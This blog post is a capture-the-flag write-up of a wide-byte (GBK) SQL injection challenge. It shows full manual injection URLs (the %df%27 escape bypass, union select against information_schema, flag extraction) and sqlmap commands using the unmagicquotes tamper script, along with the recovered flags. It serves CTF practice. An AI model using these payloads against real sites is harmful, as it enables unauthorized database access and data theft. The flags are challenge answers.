南邮nctf-sql injection 3(宽字节注入) 手注+sqlmap

题目地址:http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1

进入题目后先简单尝试一下。

很明显的宽字节注入

宽字节注入就是用一个大于128的十六进制数来吃掉转义符\,gbk编码,字节作为一个字符的编码

关于宽字节注入漏洞具体说明度娘一搜就出来了,这里不再赘述。


手工注入

1、判断列数:

http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 order by 1%23
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 order by 2%23
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 order by 3%23

order by 3 时报错,说明只有两列。

2、各类信息:

http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2 
union select 2,(concat_ws(char(32,58,32),user(),database(),version()))%23

sae-chinalover@123.125.23.212 : sae-chinalover : 5.5.52-0ubuntu0.14.04.1

3、库名:

http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2 union select 2,database()%23

sae-chinalover

4、表名:

http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2 
union select 2,group_concat(table_name) 
from information_schema.tables 
where table_schema=database()%23

ctf,ctf2,ctf3,ctf4,news

5、ctf4表的列名:

http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2 
union select 2,group_concat(column_name) 
from information_schema.columns 
where table_name=0x63746634%23

id,flag

这里注意:要将表名ctf4转为16进制

这里提供一个字符串转16进制的网站:

http://www.5ixuexiwang.com/str/hex.php

转了16进制之后记得在前面加上0x

6、flag列的数据:

http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2 
union select 2,(select flag from ctf4)%23

flag{this_is_sqli_flag}


 关于flag的答案

这道题提交的答案各不相同。除了刚刚在ctf4中的flag,在ctf2中还有个nctf的flag。

http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 
union select 1,group_concat(id,content) from ctf2%23

nctf{query_in_mysql}

还有一个答案是我在度娘搜到别人提交的,在ctf4,不过我在ctf4已经找不到这个答案了。

nctf{gbk_3sqli}


sqlmap跑法

1、查看有哪些库:

sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes --dbs

这个时侯就要用到一个脚本了:

脚本名:unmagicquotes.py

作用:宽字符绕过

2、表名:

sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes -D `sae-chinalover` --tables

3、列名:

sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes -D `sae-chinalover` -T ctf4 --columns

4、flag列的数据:

sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes -D `sae-chinalover` -T ctf4 -C flag

flag{this_is_sqli_flag} 


这就是本题宽字节注入的两种解法。

  • 2
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

烟敛寒林o

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值